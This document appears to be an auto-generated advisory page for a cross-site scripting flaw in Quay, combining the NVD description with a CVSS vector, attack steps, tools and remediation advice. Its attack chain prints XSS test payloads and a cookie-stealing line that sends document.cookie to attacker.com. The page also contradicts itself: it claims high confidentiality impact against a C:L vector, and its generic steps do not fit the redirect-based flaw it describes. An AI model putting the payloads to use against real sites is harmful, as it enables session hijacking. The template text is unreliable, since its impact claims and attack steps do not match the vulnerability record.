CVE-2026-102576 — CWE-79
CVE-2026-102576 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 4.2/10) affecting affected software system. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, allowing unauthorized disclosure of sensitive data (C:H).
📄 Official NVD / MITRE Original Record Text
A flaw was found in Quay. A remote attacker could trick a user into logging in through a crafted link, resulting in cross-site scripting (XSS). Because the application does not validate the redirect destination before navigating, this flaw allows the execution of arbitrary script in the context of the victim's authenticated browser session. Successful exploitation requires the target Quay deployment to use direct database authentication and the victim to complete login through the malicious URL.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-102576
CVSS 4.2/10 · MEDIUM · 05.10.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: A flaw was found in Quay. A remote attacker could trick a user into logging in through a crafted link, resulting in cross-site scripting (XSS). Because the application does not validate the redirect destination before navigating, this flaw allows the execution of arbitrary script in the context of the victim's authenticated browser session.
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
All confidential data readable/stealable.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]